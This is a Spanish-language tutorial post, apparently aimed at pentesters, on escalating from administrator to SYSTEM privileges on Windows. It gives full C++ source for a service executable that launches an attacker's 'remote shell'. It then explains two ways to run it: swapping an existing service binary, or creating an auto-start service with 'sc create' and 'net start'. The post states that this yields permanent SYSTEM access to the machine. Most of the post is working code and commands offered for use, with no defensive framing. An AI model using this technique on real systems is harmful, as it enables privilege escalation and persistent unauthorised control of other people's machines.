¡Hola! En ocasiones, aun teniendo privilegios de «administrator» para ciertas operaciones se requiere tener privilegios «system», ¿Como podemos conseguir escalar privilegios? Una de las formas es bastante sencilla y se puede hacer de dos formas:
En ambos casos hay que crear un fichero ejecutable de servicio de windows que llame a nuestra «remote shell», se puede hacer con este código C++, sustituyendo en la costante DAEMON_EXE_NAME el valor «C:\\EXECUTABLE_FILE_PATH.exe» por la ruta del fichero a ejecutar y cambiando el nombre del servicio en NAME_IN_SERVICES poniendo el nombre que queramos que tenga el servicio y en MY_SERVICE_DESC su descripción:
// Windows Service main application // Add your code where necessary to create your own windows service application. #include <windows.h> #include <stdio.h> #include <stdlib.h> // Replace with your own #define NAME_IN_SERVICES TEXT("MyService") #define MY_SERVICE_DESC TEXT("Service description") #define DAEMON_EXE_NAME "C:\\EXECUTABLE_FILE_PATH.exe" // Some global vars SERVICE_STATUS gStatus; SERVICE_STATUS_HANDLE gStatusHandle; HANDLE ghStopEvent = NULL; void InstallService() { SC_HANDLE hSCMgr; SC_HANDLE hService; TCHAR ExeAddr[MAX_PATH]; SERVICE_DESCRIPTION sd; LPTSTR Desc = MY_SERVICE_DESC; if (! GetModuleFileName(NULL, ExeAddr, MAX_PATH)) { printf("Cannot install service.\n"); return; } hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCMgr == NULL) { printf("OpenSCManager failed\n"); return; } hService = CreateService(hSCMgr, NAME_IN_SERVICES, NAME_IN_SERVICES, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, ExeAddr, NULL, NULL, NULL, NULL, NULL); if (hService == NULL) { printf("CreateService failed (%s)\n", ExeAddr); CloseServiceHandle(hSCMgr); return; } else printf("Service successfully installed.\nExecutable: %s\n", ExeAddr); // Now, to change its description sd.lpDescription = Desc; if (! ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sd)) printf("ChangeServiceConfig2 failed.\n"); CloseServiceHandle(hService); CloseServiceHandle(hSCMgr); } void UninstallService() { SC_HANDLE hSCMgr; SC_HANDLE hService; hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (NULL == hSCMgr) { printf("OpenSCManager failed\n"); return; } hService = OpenService(hSCMgr, NAME_IN_SERVICES, DELETE); if (hService == NULL) { printf("OpenService failed\n"); CloseServiceHandle(hSCMgr); return; } if (! DeleteService(hService)) printf("Fallo DeleteService (%d)\n", (int) GetLastError()); else printf("Service uninstalled successfully.\nYou must restart windows for changes to take effect.\n"); CloseServiceHandle(hService); CloseServiceHandle(hSCMgr); } void MySetServiceStatus( DWORD State, DWORD ExitCode, DWORD Wait ) { gStatus.dwCurrentState = State; gStatus.dwWin32ExitCode = ExitCode; gStatus.dwWaitHint = Wait; if (State == SERVICE_START_PENDING) gStatus.dwControlsAccepted = 0; else gStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; SetServiceStatus(gStatusHandle, &gStatus); } void WINAPI CtrlHandler( DWORD CtrlCmd ) { switch (CtrlCmd) { case SERVICE_CONTROL_STOP: MySetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 0); // Add here the necessary code to stop the daemon SetEvent(ghStopEvent); break; case SERVICE_CONTROL_INTERROGATE: // Add here the necessary code to query the daemon break; } MySetServiceStatus(gStatus.dwCurrentState, NO_ERROR, 0); } int Run( char * Command ) { STARTUPINFO si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO); si.lpReserved = NULL; si.lpDesktop = NULL; si.lpTitle = 0; si.dwX = si.dwY = si.dwXSize = si.dwYSize = si.dwXCountChars = si.dwYCountChars = si.dwFlags = 0; si.wShowWindow = SW_NORMAL; si.lpReserved2 = NULL; si.cbReserved2 = 0; si.hStdInput = si.hStdOutput = si.hStdError = 0; return CreateProcess(0, Command, 0, 0, 1, 0, 0, 0, &si, & pi); } void InitService() { // printf in this function will not work when running from SCM gStatusHandle = RegisterServiceCtrlHandler(NAME_IN_SERVICES, CtrlHandler); if (! gStatusHandle) { int e; e = GetLastError(); if (e == ERROR_INVALID_NAME) printf("RegisterServiceCtrlHandler failed (ERROR_INVALID_NAME)\n"); else if (e == ERROR_SERVICE_DOES_NOT_EXIST) printf("RegisterServiceCtrlHandler failed (ERROR_SERVICE_DOES_NOT_EXIST)\n"); else printf("RegisterServiceCtrlHandler failed (%d)\n", (int) e); return; } gStatus.dwServiceType = SERVICE_WIN32; gStatus.dwServiceSpecificExitCode = 0; MySetServiceStatus( SERVICE_START_PENDING, NO_ERROR, 3000 ); // HERE put your daemon initialization code // if it takes too long to start, call MySetServiceStatus() with // SERVICE_START_PENDING periodically. // If initialization fails, call MySetServiceStatus with SERVICE_STOPPED. // The following is a generic code. Replace with your own. Run(DAEMON_EXE_NAME); // end of daemon initialization MySetServiceStatus(SERVICE_RUNNING, NO_ERROR, 0); ghStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (ghStopEvent == NULL) { MySetServiceStatus( SERVICE_STOPPED, NO_ERROR, 0 ); printf("CreateEvent failed.\n"); return; } WaitForSingleObject(ghStopEvent, INFINITE); MySetServiceStatus(SERVICE_STOPPED, NO_ERROR, 0); } SERVICE_TABLE_ENTRY DispatchTable[] = { { NAME_IN_SERVICES, (LPSERVICE_MAIN_FUNCTION) InitService }, { NULL, NULL } }; int main( int c, char * arg[] ) { if (c > 2) { printf("Usage: servicio [ install | uninstall ]\n"); return 1; } if (c == 2 && ! stricmp(arg[1], "install")) { InstallService(); return 0; } if (c == 2 && ! stricmp(arg[1], "uninstall")) { UninstallService(); return 0; } if (! StartServiceCtrlDispatcher(DispatchTable)) printf("StartServiceCtrlDispatcher failed\n"); return 0; }
Después como decía anteriormente, se puede hacer de dos formas:
- Sustituir el fichero de un ejecutable por el nuestro (cambiando el nombre del nuestro por el que se quiere sustituir)
- Se puede añadir un nuevo servicio (importante poner el arranque automático para que se inicie si se reinicia el equipo), se puede hacer con el siguiente comando:
sc create NOMBRE-DEL-SERVICIO binPath= "C:\\RUTA-DEL-EXE" start=auto net start NOMBRE-DEL-SERVICIO
De esta forma tendríamos acceso system permanente a esta maquina